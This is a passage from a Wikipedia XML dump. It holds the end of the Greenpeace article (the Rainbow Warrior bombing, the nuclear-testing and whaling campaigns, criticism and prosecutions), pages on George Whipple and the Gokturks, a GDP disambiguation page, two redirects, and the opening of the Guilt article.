First deployed to disrupt the hunt of the [[Iceland]]ic whaling fleet, the ''Rainbow Warrior'' would quickly become a mainstay of Greenpeace campaigns. Between 1978 to 1985, crew members also engaged in non-violent direct action against the ocean-dumping of toxic and radioactive waste, the [[Grey Seal]] hunt in the [[Orkney Islands|Orkneys]] and nuclear testing in the Pacific.

In [[1985]], the ''Rainbow Warrior'' was to trespass into the waters surrounding [[Moruroa]] atoll, site of French nuclear testing. The ship was bombed in a New Zealand harbour by the French government (by order of the French president, [[François Mitterrand]] himself, as per a publication in [[Le Monde]] in [[2005]], on the 20th anniversary of the bombing); in this event, photographer [[Fernando Pereira]] was killed, the French Government in 1987 agreed to pay New Zealand compensation of NZ$13 million and formally apologised for the bombing. (Also see [[Sinking of the Rainbow Warrior]].) 

In [[1989]] Greenpeace commissioned a replacement vessel, also named the ''Rainbow Warrior'', which remains in service today as the flagship of the Greenpeace fleet. The fleet consists of three other ships: the [[MV Arctic Sunrise]], the [[MV Esperanza]], and the Argus.

In [[2005]] the ''Rainbow Warrior II'' ran aground at the [[Tubbataha Reef]] in the Philippines, while Greenpeace was on a mission to &quot;protect&quot; the very same reef.  [http://news.bbc.co.uk/1/hi/world/asia-pacific/4395572.stm They were fined $7,000 USD] for the damage and agreed to pay the fine, although they said that the Philippines government had intentionally given them outdated maps.

Along with the newly commissioned Rainbow Warrior the Greenpeace organization has 3 other ships.

* ''The Arctic Sunrise''
* ''The Esperanza''
* ''The Argos''
[[Image:Gp-esso.jpg|thumb|280px|left|Greenpeace protest against [[Esso]] / [[Exxon Mobil]].]]

==Activities==

{{Sidebar|'''Issues'''

* [[Climate change]]
* [[Renewable energy]] replacement of nuclear power and [[fossil fuel|fossil fuels]]
* Ocean crisis
** Seabed [[trawling]]
** Fish population decrease
** [[Whale]] population decrease
** Dead zones
* [[Forest]] protection
* [[Genetic engineering]]
* Toxic [[chemical]]s
* [[Nuclear power]] and its safe use
* Sustainable trade
** Legitimacy of [[World Trade Organization]]
*** WTO promotion contrasted with health and environment
* Abolition of [[nuclear weapons]]
}}

The organisation currently actively addresses many environmental issues, with primary focus on efforts to stop global warming and to preserve the biodiversity of the world's oceans and ancient forests. In addition to the more conventional [[environmental organisation]] methods, such as lobbying politicians and attendance at international conferences, Greenpeace has a stated methodology of engaging in [[nonviolence|nonviolent]] [[direct action]].

Greenpeace uses direct action to attract attention to particular environmental causes, whether by placing themselves between the whaler's harpoon and their prey, or by invading nuclear facilities dressed as barrels of radioactive waste. 

Some of Greenpeace's most notable successes include the ending of [[Comprehensive Test Ban Treaty|atmospheric testing of nuclear weapons]], a (purportedly) permanent moratorium on international commercial [[whaling]], and the declaration by treaty of [[Antarctica]] as a global park, forbidding possession by individual nations or commercial interests. To back up this latter point, [[World Park Base]] was established in Antarctica, and ran for five years, from 1987 through 1992.

===Anti-nuclear testing===
In September [[1971]], the Don't Make A Wave Committee chartered the ''[[Phyllis Cormack]]'', a fishing vessel skippered by [[John Cormack]]. They named it the ''Greenpeace'', and set sail for the island of [[Amchitka]] with the intention of disrupting the scheduled second nuclear test. The [[United States Coast Guard|US Coast Guard]] vessel ''Confidence'' intercepted  the ''Phyllis Cormack'' and forced her to return to port.

Upon their return to [[Alaska]], the crew learned that protests had taken place in all major Canadian cities, and that the United States had postponed the second underground test until November. Although attempts to sail into the test zone using a second chartered vessel also failed, no further nuclear tests took place at Amchitka.

====Moruroa Atoll and the ''Vega''====
In May 1972, when the newly-formed Greenpeace Foundation put out a call to sympathetic skippers to help them protest against the [[France|French]] Government's atmospheric nuclear tests at the Pacific atoll of [[Moruroa]], a response came from [[David McTaggart]], a Canadian expatriate and former entrepreneur based in New Zealand. McTaggart, a champion [[badminton]] player in his youth, had sold his business interests and relocated to the South Pacific following a gas explosion which seriously wounded an employee at one of his ski-lodges. Outraged that any government could exclude him from any part of his beloved Pacific, McTaggart offered his yacht, the ''Vega'', to the cause, and set about assembling a crew.

In [[1973]], McTaggart sailed the ''Vega'' into the exclusion zone around Moruroa, only to have his vessel rammed by the [[French Navy]]. When he repeated the protest the following year, French sailors boarded the ''Vega'' and brutally beat McTaggart. Later, the Navy released to the media staged photographs of McTaggart dining with senior navy officers, which suggested a degree of civility between the opposing parties. A different picture emerged when photographs of McTaggart's beating, smuggled off the yacht by crew member [[Anne-Marie Horne]], also appeared in the media.

The campaign against [[French nuclear testing]] achieved a victory when the French government announced a halt to atmospheric testing, only to begin testing underground. Greenpeace would continue to campaign against testing in the Pacific until the French ceased their testing programme in [[1995]].
[[Image:Rainbow warrior.jpg|left|thumb|250px|The [[Rainbow Warrior]].]]
==== Rainbow Warrior and French bombing ====

Greenpeace's continued protest against nuclear testing at Moruroa atoll prompted the government of [[France]] to order the [[bomb]]ing of the ''[[Rainbow Warrior]]'', in [[Auckland, New Zealand|Auckland]], [[New Zealand]], in 1985.

The ''Warrior'' had sailed from the North Pacific, where it assisted the evacuation of the inhabitants of [[Rongelap Atoll]] in the [[Marshall Islands]], who continued to suffer health effects attributed to the fallout from American nuclear testing during the 1950s and 1960s. Greenpeace plans envisaged the ship leading a flotilla of vessels protesting against imminent nuclear tests at Moruroa.

On the evening of [[July 10]], [[1985]], [[Scuba diving|frogmen]] attached two bombs to the hull of the ship. The first bomb detonated at 11:38, closely followed by the second explosion, sinking the ship and killing photographer [[Fernando Pereira]], who had come back to fetch his belongings. 

Acting on tip-offs from a shocked public, the New Zealand police quickly traced the bombing to Major [[Alain Mafart]] and Captain [[Dominique Prieur]], members of the French armed forces posing as a Swiss honeymoon couple. The police arrested Mafart and Prieur, but attempts on the part of New Zealand authorities to secure the extradition of their suspected accomplices from Australia, and later from France, failed.

The French Government initially denied any involvement in the bombing, but mounting pressure from the French and international media led to the admission, on [[September 22]], that the [[DGSE|French secret service]] had ordered the bombing. Investigations subsequent to the bombing also revealed that [[Christine Cabon]], a French secret service agent, had infiltrated the Auckland office of Greenpeace New Zealand, posing as a volunteer in order to gather information on the Moruroa campaign and the ''Rainbow Warrior''’s movements.

In [[1987]], the French Government agreed to pay New Zealand compensation of NZ$13 million and formally apologised for the bombing. The original ''Rainbow Warrior'', too damaged to repair, was cleaned and scuttled in [[Matauri Bay]], where it serves as an [[artificial reef]] and popular [[diving]] destination.

A [[2005]] publication in French newspaper [[Le Monde]] made clear that it was by order of the French president, [[François Mitterrand]] himself, that the attack took place.

===Saving the Whales===
When [[Paul Spong]], a New Zealand neuroscientist hired by the [[Vancouver Aquarium Marine Science Centre|Vancouver Aquarium]] to study the behaviour of whales in captivity, contacted Robert Hunter, the 'Save the Whales' campaign which resulted took place initially under the banner of [[Project Ahab]], due to Irving Stowe's resistance to broadening Greenpeace's scope beyond opposition to nuclear weapons.

Stowe's death in [[1974]] effectively ended this deadlock, and a re-chartered ''Phyllis Cormack'' steamed from Vancouver to meet the [[Soviet Union|Soviet]] whaling fleet off the Californian coast in the spring of [[1975]]. Thanks to the guidance of a primitive radio direction-finder and some fortuitous navigation by musician [[Mel Gregory]], who steered towards the moon rather than following a compass, the Cormack encountered the whaling fleet on [[June 26]].

The crew used fast [[Zodiac inflatable]]s to position themselves between the harpoon of the catcher ship ‘’Vlastny’’ and a fleeing whale. Television broadcasts around the world showed film footage of the ‘’Vlastny’’ firing a harpoon over the heads of Greenpeace activists, highlighting the plight of the whales to the world's public in the closing days of the [[International Whaling Commission]]'s [[1976]] conference in [[London]], [[England]].

===Kleenex and the destruction of ancient forests===
In [[November 2004]], Greenpeace launched a campaign against the [[Kimberly-Clark Corporation]] because its tissue products, including the popular [[Kleenex]] brand, have been linked to the destruction of ancient [[boreal forest]]s. The environmental organization charges that Kimberly-Clark uses more than 2.5 million tonnes of [[virgin pulp]] from forests to produce its tissue products, including the Kleenex brand. The corporation is a purchaser of pulp from clearcutting operations in ancient forests in [[Ontario]] and [[Alberta]], [[Canada]]. The forests have existed for over 10,000 years &amp;mdash; since the last [[ice age]] and are home to threatened wildlife such as [[woodland caribou]] and [[wolverine]].

As part of its [http://www.kleercut.net/ international &quot;Kleercut&quot; campaign], Greenpeace has been educating consumers about the links between Kleenex tissue products and ancient forests, moving [[shareholder]]s to put pressure on Kimberly-Clark and motivating customers to switch to more environmental tissue product manufacturers.

==Criticism and attacks==
During its history, Greenpeace has weathered criticism from government and industry, and on occasion, from other environmental groups; been bombed by French special forces; and members are often arrested for minor offences such as trespass. The organisation's system of governance and its use of [[nonviolent direct action]] (which is considered by some to be illegal acts of [[civil disorder]]) have been particular sources of controversy. On the other hand, there has also been criticism from those who feel the organisation is too mainstream. Paul Watson, who parted ways to found [[Sea Shepherd]], once called Greenpeace &quot;The Avon ladies of the environmental movement,&quot; because of their door-to-door fund-raising that relies on the media exposure of deliberately orchestrated and highly publicised actions to keep the name of Greenpeace on the front pages.

Two of Greenpeace's most vocal critics are Icelandic filmmaker [[Magnus Gudmundsson]], director of the pro-whaling documentary ''Survival in the High North'', and former Greenpeace International Director [[Patrick Moore (environmentalist)|Patrick Moore]]. Gudmundsson's criticisms have focused largely on the social impacts of anti-[[whaling]] and anti-sealing campaigns, while Moore's main criticisms have been levelled at the campaign to protect the forests of British Columbia. Supporters of Greenpeace counter that, like many of the organisation's most outspoken critics, Gudmundsson and Moore receive considerable funding from the very industries that have been subject to Greenpeace campaigns. Gudmundsson's documentary was judged libellous by a Norwegian court in 1992 and he was ordered to pay damages to Greenpeace. Similarly, a Danish tribunal held that the allegations against Greenpeace about faking video materials were unfounded. Many media that published Gudmundsson's allegations have subsequently retracted and apologised (e.g. Irish Sunday Business Post and TVNZ).

The factual basis of particular campaigns has been criticised, for example over the [[Brent Spar]] [[oil platform]] affair, in which Greenpeace mounted a successful campaign (including occupation of the platform and a public [[boycott]]) to force the platform's owners, [[Royal Dutch Shell|Royal Dutch/Shell]], to dismantle the platform on land instead of [[scuttling]] it. A moratorium on the dumping of offshore installations was almost immediately adopted in Europe, and three years later the Environment Ministers of the countries bordering the North East Atlantic agreed with Greenpeace, and adopted a permanent ban on the dumping of offshore installations at sea http://archive.greenpeace.org/odumping/radioactive/reports/odhistory.pdf. After the occupation of the Brent Spar it was argued that Shell had not misled the public as to the amount of toxic wastes on board the installation. Greenpeace admitted that its claims that the Spar contained 5000 tonnes of oil were inaccurate and apologised to Shell on [[September 5]]. However Greenpeace also argued that the issue was one of wider industrial responsibility, and as the first offshore installation to be dumped in the North East Atlantic, the Brent Spar would have been followed by dozens or hundreds more, thereby setting a dangerous precedent. 

In [[September 2003]] the [[Public Interest Watch]] (PIW) complained to the [[Internal Revenue Service]] claiming that Greenpeace tax returns were inaccurate and breached the law.[http://www.publicinterestwatch.org/pdfs/PIW_report.pdf] PIW claimed that Greenpeace was using non-profit donations for advocacy instead of charity and educational purposes.  PIW wanted the IRS to investigate the complaint. Greenpeace rejected the claims and challenged PIW to disclose its funders, a request rejected by the then PIW Executive Director, Mike Hardiman.[http://www.cnsnews.com/ViewNation.asp?Page=%5CNation%5Carchive%5C200309%5CNAT20030923b.html] The charitable status of Greenpeace has been revoked in Canada (since 1989). &lt;!-- and the US? source? --&gt;

=== US charge of &quot;sailormongering&quot; fails ===
In [[2002]] Greenpeace organised a protest against the US importation of over $10 million worth of [[Brazil]]ian [[mahogany]] after the Brazilian government had placed a [[moratorium]] on mahogany exports. On [[April 12]], [[2002]], two Greenpeace agents boarded the ship carrying the mahogany, the [[APL Jade]], to hang up a banner reading &quot;President Bush, Stop Illegal Logging&quot;. The two agents were arrested, along with four others assisting them; after pleading guilty to misdemeanour charges, they were sentenced to &quot;time served&quot; (a weekend in jail).[http://www.greenpeace.org/usa/campaigns/bush-vs-greenpeace] 

On [[July 18]], [[2003]], the US Government's [[Justice Department]] used the incident to charge the entire Greenpeace organisation under an obscure [[1872]] law against &quot;[[sailormongering]]&quot;, which had last been used in [[1890]].[http://www.commondreams.org/headlines04/0520-12.htm] Invocation of this law to prosecute non-violent [[criminal]] protestors generated worldwide protest. Those criticising the prosecution included [[Al Gore]], Senator [[Patrick Leahy]], the [[NAACP]], the [[ACLU of Florida]] and [[People for the American Way]]. The Department later rearraigned Greenpeace on a revised indictment at the federal courthouse in Miami on [[November 14]], [[2003]], dropping the claim that Greenpeace had inaccurately asserted the presence of contraband mahogany on the boarded ship. 

On [[May 16]], [[2004]], Judge [[Adalberto Jordan]] ruled in favour of Greenpeace and found that &quot;the indictment is a rare &amp;ndash; and maybe unprecedented &amp;ndash; prosecution of an advocacy group&quot; for free speech-related conduct.

===Other Charges===
In [[July 2004]], a Greenpeace vessel violated Alaskan state environmental laws when the ship entered Alaskan waters carrying more than 70,000 galons of fuel without filing an oil spill response plan.  Capt. Arne Sorensen was found guilty of two misdemeanor criminal negligence charges. [http://www.msnbc.msn.com/id/7797346/]

More recently, Greenpeace was fined for damaging over 100 square meters of [[coral reef]] off the coast of [[Manila]]. The group accepted responsibility for the act, but pointed out that it could have been avoided had the maps provided to them by the Philippine government been more accurate. [http://news.bbc.co.uk/2/hi/asia-pacific/4395572.stm]

==See also==
[[Whaling]]

==References==
* Rex Weyler (2004), ''Greenpeace: an insider's account'', Rodale

* Kieran Mulvaney and Mark Warford (1996):'' Witness: Twenty-Five Years on the Environmental Front Line,'' Andre Deutsch.

==External links==
{{Wikinews|Greenpeace activists clash with Japanese whaling fleet in Southern Ocean}}
===Greenpeace===
* [http://www.greenpeace.org/ Greenpeace official website]
* [http://www.greenpeace.org/international/rainbow-warrior-bombing/spy-story/ The Rainbow Warrior story, from the official Greenpeace website]
* [http://archive.greenpeace.org/30th/ Greenpeace 30th Anniversary]
* [http://archive.greenpeace.org/comms/vrml/rw/text/def/founders.html Greenpeace Founders]
* [http://www.kleercut.net/ www.kleercut.net] Website of Greenpeace's Anti-Kleenex campaign
* [http://www.utne.com/web_special/web_specials_archives/articles/2246-1.html Waves of Compassion: The Founding of Greenpeace] by Rex Weyler
* [http://www.rexweyler.com/ www.rexweyler.com] Rex Weyler, Greenpeace co-founder Official website
* [http://www.chinacsr.com/archives/2005/11/greenpeace_call.php Greenpeace Calls On Chinese Government To Protect Environment Around Harbin]
* [http://www.greenpeace.org.ph/ Greenpeace Philippines website]

===Other===
* [http://archives.cbc.ca/300c.asp?id=1-69-867 Greenpeace: Always Bearing Witness] CBC archives
* [http://www.greenyearbook.org/articles/96_07_pearce.pdf Greenpeace: Storm-Tossed on the High Seas] by Fred Pearce
* [http://www.economist.com/displaystory.cfm?story_id=2313082 &quot; Whaling, a bloody war - Obduracy in the face of hypocrisy&quot;  The Economist Dec 30th 2003] The two sides of whaling.


[[Category:Greenpeace|Greenpeace]]
[[Category:Climate change organizations]]
[[Category:Environmental organizations]]
[[Category:Genetic engineering]]
[[Category:Nuclear weapon organizations]]
[[Category:1971 establishments]]

{{commons|Greenpeace}}

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[[zh:绿色和平]]</text>
    </revision>
  </page>
  <page>
    <title>George Whipple</title>
    <id>12234</id>
    <revision>
      <id>37737058</id>
      <timestamp>2006-02-01T21:56:32Z</timestamp>
      <contributor>
        <username>Sayeth</username>
        <id>65782</id>
      </contributor>
      <minor />
      <comment>wiki and sp</comment>
      <text xml:space="preserve">'''George Hoyt Whipple''' ([[August 28]], [[1878]] &amp;ndash; [[February 1]], [[1976]]) was an American physician, biomedical researcher, and medical school educator and administrator. Whipple shared the [[Nobel Prize in Physiology or Medicine]] in 1934 with [[George Richards Minot]] and [[William Parry Murphy]] &quot;for their discoveries concerning [[liver]] therapy in cases of [[anemia]].&quot; 

Whipple was born to Ashley Cooper Whipple and Frances Anna Hoyt in [[Ashland, New Hampshire]]. He was the son and grandson of physicians. Whipple attended [[Andover Academy]] and then [[Yale University]] from which he graduated with a B.A. degree in 1900. He attended medical school at the [[Johns Hopkins University]] from which he received the M.D. degree in 1905. 

After graduation Whipple worked in the pathology department at Hopkins until he went to [[Panama]] as pathologist to the Ancon Hospital in 1907-08. Whipple returned to Baltimore and there served successively as Assistant, Instructor, Associate and Associate Professor in Pathology at Johns Hopkins until 1914. 

In 1914 Whipple was appointed Professor of Research Medicine and Director of the Hooper Foundation for Medical Research at the [[University of California]] Medical School. He was Dean of that medical school in 1920 and 1921. 

At the urging of [[Abraham Flexner]], who had done pioneering studies of medical education, and [[University of Rochester]] President Rush Rhees, Whipple agreed in 1921 to become Dean of the newly funded and yet-to-be-built medical school in Rochester, New York. Whipple thus became Professor and Chairman of Pathology and the founding Dean of the new School of Medicine and Dentistry at the University of Rochester. Whipple served the School as the Dean until 1954 and remained at Rochester for the rest of his life. He was a superb teacher.

Whipple's main research was concerned with anemia and the physiology and pathology of the liver.  He was the first to describe [[Whipple's disease]] ([[eponym|named]] after him) and gave clues as to its cause ([[bacterium|bacteria]]), in [[1907]].

==External links==
*[http://www.nap.edu/readingroom/books/biomems/gwhipple.html National Academy of Sciences biography]
*[http://www.nobel.se/medicine/laureates/1934/whipple-bio.html Nobel biography]
*[http://www.whipple.org/blaine/georgehoyt.html Other biography]

{{Med-bio-stub}}

[[Category:1878 births|Whipple, George]]
[[Category:1976 deaths|Whipple, George]]
[[Category:Nobel Prize in Physiology or Medicine winners|Whipple, George]]

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    </revision>
  </page>
  <page>
    <title>Gokturks</title>
    <id>12235</id>
    <revision>
      <id>41903352</id>
      <timestamp>2006-03-02T14:24:34Z</timestamp>
      <contributor>
        <username>Briangotts</username>
        <id>169027</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/209.158.191.252|209.158.191.252]] ([[User talk:209.158.191.252|talk]]) to last version by Lorenzarius</comment>
      <text xml:space="preserve">== Introduction ==

The '''Göktürks''' or '''Kök-Türks''' known as ''Tujue'' (突厥 tu2 jue2) in medieval [[China|Chinese]] sources, established the first known [[Turkic peoples|Turkic]] state around [[552]], after the [[Huns]], under the leadership of [[Bumin Khan|Bumin/Tuman Khan/Khaghan]] (d. 552) and his sons, and expanded rapidly to rule wide territories in [[Central Asia]]. The Gokturks, who originated from the [[Ashina]] tribe, an Altaic people who lived in the northwestern corner of the area presently called the [[Xinjiang]] [[Uygur]] Autonomus Region of China.  They were the first Turkic tribe to use the name &quot;Türk&quot; as a political name.

The state's most famous personalities other than its founder Bumin are princes [[Kul Tigin]] and [[Bilge Khan|Bilge]] and the vizier [[Tonyukuk]], whose life stories were carved on the famous [[Orkhon inscriptions]].


== Etymology ==
''Kök-Turks'' is said to mean &quot;Celestial Turks&quot; but this is contested.  Alternate meanings are Blue Turks, and Numerous Turks.


== Origins ==
With the collapse of [[Hun]]nish power in [[Asia]], leadership of the [[Turkic peoples|Turks]] was taken over by the Gokturks after their ancestors the [[Huns]], who inherited their traditions and administrative experience. From [[552]] to [[745]], Gokturkish leadership bound together the [[nomad]]ic Turkish tribes into an empire, which finally fell to internal conflicts and to defeats by China. The kingdom received missionaries from the [[Buddhist]]s, [[Manichean]]s, and [[Nestorian Christian]]s, but remained primarily [[Shamanism|shamanistic]]. 

The great difference between the Gokturkish empire and its Hunnish predecessor was that the Gokturks' temporary ''[[Khan]]s'' (lords) were ''subordinate'' to a [[sovereignty|sovereign]] authority that was left in the hands of a [[dynasty]] of tribal chiefs. 

The Gokturks wrote [[Old Turkic|their language]] in a [[runic alphabet|runic]] script. ''See [[Orkhon script]].''

[[Image:Gokturkut.jpg|right|thumb|410px|Map of the Western (purple) and Eastern (blue) Gokturk [[khagan]]ates at their height, ca. [[600]] CE. Lighter areas show direct rule; darker areas show spheres of influence.]]


== First Unified Empire ==
In [[552]], Tuman defeated the last [[Rouran]] Khan, [[A-na-kuei]]. Tuman's brother [[Istämi]] (d. [[576]]) collaborated with the [[Iran|Persia]]n [[Sassanid]]s to defeat and destroy the [[White Hun]]s, which drove the [[Eurasian Avars|Avars]] into [[Europe]]. Both rival states in north China paid large tributes to the Gokturks from [[581]].

This first Gokturkish empire split in two after the death of the last of Tuman's sons (ca. [[584]]). These were successfully played off against each other by [[Sui Dynasty|Sui]] and [[Tang Dynasty]] China. The Eastern Khanate became formally subordinate to the Chinese Emperor; the Western Khan of that time was Istämi's son [[Tardu]], who almost succeeded in reuniting the Gokturkish empire around [[600]]. However, Chinese diplomacy incited a revolt of his [[vassal]]s, and Tardu's reign was cut short in [[603]].


== Dual Empires ==
New attacks on China by the Turks of the Eastern Khanate failed, and its Khan [[Hsien]] was brought down by a revolt of his vassals ([[626]]-[[630]]), instigated by [[Emperor Taizong of Tang]], who took him prisoner. The Western Khan [[Tung Sche-hu]] was murdered in [[630]] despite strong support by the [[Byzantine Empire]] against the Persians. By [[659]] the Tang Emperor of China could claim to rule the entire [[Silk Road]] as far as Po-sse (Persia). The Turks now carried Chinese titles and fought by their side in their wars.

== Inter-Imperial Era ==
630-682 AD


== Second Empire ==
Nonetheless, [[Ilteris Sad|Ilteriş Şad]] (Idat) and his brother [[Qapagan Khan|Bäkçor Qapağan Khan]] (Mo-ch'o) managed to found a new realm of &quot;wild&quot; Turks, which in a series of wars from [[681]] onward gained control of the [[steppe]]s beyond the [[Great Wall of China]], extending by [[705]] to threaten [[Arab]] control of [[Transoxiana]]. Their power centered at the [[Changai Mountains]] (then: Ötükän). The son of Ilteriş, [[Bilge Khan|Bilge]], was also a strong leader, but at his death in [[734]], the empire declined. They ultimately fell to a series of internal crises and renewed Chinese campaigns. After [[Kutluk Khan|Kutluk (Ko-lo) Khan]]'s military victory in [[744]], the successors to the Gokturks became their more China-friendly junior partners, known as the [[Uighur]]s.

==Rulers (''Qağan or Kağan'')==



===First Gokturk Empire:===
*[[Bumin Khan|Bumin/Tuman Khan]] [[551]] - [[553]]
*[[Kelou Khan]] (Irksi, Kolo a.k.a. &quot;Kök-Khan&quot;) [[553]] - [[554]] son of Bumin
*[[Muhan Khan]] [[554]] - [[572]] son of Bumin
*[[Istämi Yabghu]] [[553]] - [[573]] (Western Khan; brother of Bumin)
*[[Taspar Khan]] [[572]] - [[581]] son of Bumin
*[[Ishbara Khan]] [[581]] - [[587]]


=== Rival Qaghans ===
*Rudan Buli Khan [[580s]]
*Chuluo-hou Khan [[580s]]
*[[Datou Khan, tardu]] [[599]] - [[603]] 


=== Eastern Qaghans ===
*Shetu E'fu Khan 
*Chulohou Baga Khan [[587]] - [[588]]
*Yongyulu Duolan Khan [[588]] - [[600]]
*Qiren (Tuli) Khan [[600]] - [[609]]
*Tujieli Shibi Khan [[609]] - [[619]]
*Chuluo (Hesana) Khan [[619]]- [[621]]
*Xieli Khan -[[621]] - [[630]]

=== Western Qaghans ===
*[[Datou Khan, tardu]] [[599]] - [[603]] 
*Nili Khan [[603]]
*Yiwu Khan [[630]]
*Simo Khan [[641]]-[[644]]
*Chebi Khan 644-649
*Baz Khan (chief of the [[Oghuz]], self-proclaimed Gokturk) -[[682]]
*Muchuo Khan [[681]] (or [[682]]) -[[712]]


=== Second Gokturk Empire ===
*[[Ilteris Sad]] (Idat) [[680]] - [[691]] (or [[692]])
*[[Qapagan Khan]]  (Mo-ch'o) [[691]] - [[716]] (murdered) 
*Inal Khan [[716]]
*[[Bilge Khan|Bilge]] Khan [[716]] - [[734]] (murdered)
*[[Kul Tigin]] Khan [[716]] - [[731]] (co-ruler with Bilge)
*Yollug Khan [[735]]-
*Icen Khan -[[744]]
*Etimis Khan [[744]]-[[747]] (in exile)

==See also==
*[[Orkhon script]]
*[[Ethnic groups in Chinese history]]
*[[Khazars]]

==External links==
*[http://www.ozturkler.com/data_english/0001/0001_05.htm The Gok-Turks Khans]
*[http://www.zentralasienforschung.de A German-language site]

[[Category:History of China]]
[[Category:Ancient peoples of China]]
[[Category:Former countries in Chinese history]]
[[Category:Turkic peoples]]
[[Category:Eurasian nomads]]
[[Category:Gokturks|*]]

[[bg:Гоктюрки]]
[[de:Reich der Göktürken]]
[[fr:Köktürks]]
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[[ja:突厥]]
[[ru:Тюркский каганат]]
[[tr:Gök Türk İmparatorluğu]]
[[zh:突厥]]</text>
    </revision>
  </page>
  <page>
    <title>GDP (disambiguation)</title>
    <id>12236</id>
    <revision>
      <id>24595768</id>
      <timestamp>2005-10-02T22:06:56Z</timestamp>
      <contributor>
        <username>Stefan h</username>
        <id>195038</id>
      </contributor>
      <minor />
      <comment>[[de:GDP]]</comment>
      <text xml:space="preserve">'''GDP''' is an [[acronym]] which can stand for more than one thing:
* (''in [[economics]]'') an abbreviation for '''[[gross domestic product|Gross Domestic Product]]'''.
* (''in [[neuroscience]]'') an abbreviation for [[giant depolarizing potentials|Giant Depolarizing Potentials]].
* (''in [[biochemistry]]'') an abbreviation for [[guanosine diphosphate]]
* (''in [[baseball]]'') an abbreviation for [[grounded into double play]]
* (''in [[computer science]]'') an abbreviation for ''Graphic Display Processor'', see also [[Thomson EF936x]]

{{TLAdisambig}}
[[de:GDP]]</text>
    </revision>
  </page>
  <page>
    <title>Gobi</title>
    <id>12237</id>
    <revision>
      <id>15909938</id>
      <timestamp>2002-06-23T23:28:03Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#REDIRECT [[Gobi Desert]]</comment>
      <text xml:space="preserve">#REDIRECT [[Gobi Desert]]</text>
    </revision>
  </page>
  <page>
    <title>General Relativity</title>
    <id>12238</id>
    <revision>
      <id>15909939</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[General relativity]]
</text>
    </revision>
  </page>
  <page>
    <title>Guilt</title>
    <id>12239</id>
    <revision>
      <id>40513130</id>
      <timestamp>2006-02-21T03:02:09Z</timestamp>
      <contributor>
        <username>Nathan Ladd</username>
        <id>80934</id>
      </contributor>
      <comment>Simplified opening sentence</comment>
      <text xml:space="preserve">{{emotion}}
'''Guilt''' is primarily an [[emotion]] experienced by people who believe they have done something wrong. It can also refer to the condition of having done something morally or legally wrong, regardless of how one feels about it. 

==Definitions of guilt==

===In psychology===

In [[psychology]] and ordinary language, guilt is an affective state in which one experiences [[conflict]] at having done something one believes one should not have done. It gives rise to a feeling that does not go away easily, driven by [[conscience]]. [[Sigmund Freud|Freud]] described this as the result of a struggle between the [[id]] (instinct|instinctive desires) and the [[superego]] (parental [[imprinting]]). Guilt and its causes, merits, and demerits is a common theme in [[psychology]] and [[psychiatry]]. It is often associated with [[Clinical depression|depression]].

===In criminal law===

In [[criminal law]], sometimes in individual and religious [[moral code]]s, and more rarely in systems of [[ethics]] (either as a philosophical questions directly.

The relationship between guilt, [[social capital|social trust]] discipline ''or'' in [[ethical code]]s and professions relying on them), '''guilt''' is a concept similar to the [[economics|economic]] concept of [[debt]].  Actions of low or negative legal value that cause damage on the object, put an equal amount of guilt on the agent.  [[Value theory]] addresses these, and the law is complex.  A nearly universal notion is that guilt cannot accrue by [[ignorance]] except remarkably by [[Ignorantia juris non excusat|ignorance of the law]] - giving law special status in any [[ontology]].  This notion alone explains why religious [[moral code]]s and the [[legal code]]s of [[civilization]]s have tended to evolve closely together.

==Causes of guilt==

Some thinkers have theorized that guilt is used as a tool of [[social control]]. Since guilty people feel they are undeserving, they are less likely to assert their rights and prerogatives. Thus, those in power seek to cultivate a sense of guilt among the populace, in order to make them more tractable. This was a theme in [[Eric Hoffer|Eric Hoffer's]] ''[[The True Believer]]''. [[Ayn Rand]] claimed that [[Christian sexual morality]] served a similar purpose.

Some evolutionary psychologists have said that guilt is a rational human emotion selected by evolution. If a person feels guilty when he harms another or even fails to reciprocate kindness, he is more likely not to harm others or become too selfish; in this way, he reduces the chances of retaliation by members of his tribe and thereby increases his survival prospects, and those of the tribe. As with any other emotion, guilt can be manipulated to control or influence others.

Another common notion is that guilt is assigned by social processes such as a [[jury trial]], i.e. that it is a strictly legal concept. Thus the ruling of a jury that [[O. J. Simpson]] or [[Julius Rosenberg]] was &quot;guilty&quot; or &quot;not guilty&quot; is taken as an actual judgement by the whole society that they must act as if they were so. By corollary, the ruling that such a person is &quot;not guilty&quot; may not be so taken, due to the asymmetry that assumes one is [[innocent until proven guilty]] and prefers to take the [[risk]] of freeing a guilty party over convicting innocents.

Still others -- often, but not always, theists of one type or another -- believe that the origin of guilt comes from violating universal principles of right and wrong. In most instances, people who believe this also acknowledge that, even though there is proper guilt from doing 'wrong' instead of doing 'right,' people endure all sorts of guilty feelings that don't stem from violating universal moral principles.

===Collective guilt===

''Collective guilt'' is the idea that a collection of humans or a human institution can bear guilt above and beyond the guilt of particular members. Collective guilt is regarded by some as impossible because it seems to presuppose that collections of humans can have traits, such as intentions and knowledge, that strictly speaking are claimed to be truly possessed only by individuals. However, there are those who consider such judgements on collective guilt to be overly [[reductionism|reductionistic]] and accept the existence of collective guilt, collective responsibility, etc. Humans seem to have a natural tendency to attribute collective guilt, usually with tragic results. History is filled with examples of a wronged man who tried to avenge himself, not on the person who has wronged him, but on other members of the wrong-doer's family, or ethnic group, or religion, or nation, or tribe, or army. Likewise collective punishment is often practiced in different settings, including schools (punishing a whole class for the actions of a single unknown pupil) and, more transcendentally, in situation of war, economic sanctions, etc, presupposing the existence of collective guilt. [[Terrorism]] is commonly rationalized by its practitioners on ideas of collective guilt and responsibility.
Many nations have laws holding corporations, but not the individual decision-makers within them, responsible for certain kinds of acts. For example, in the United States corporations can be fined for violating pollution laws, but the individuals who actually ordered and directed the polluting activity may not themselves be regarded as having broken any laws, since they act as corporate officers on behalf of the shareholders.
This is generally known as the &quot;[[Piercing the corporate veil|corporate veil]]&quot;.

==Cultural views of guilt==

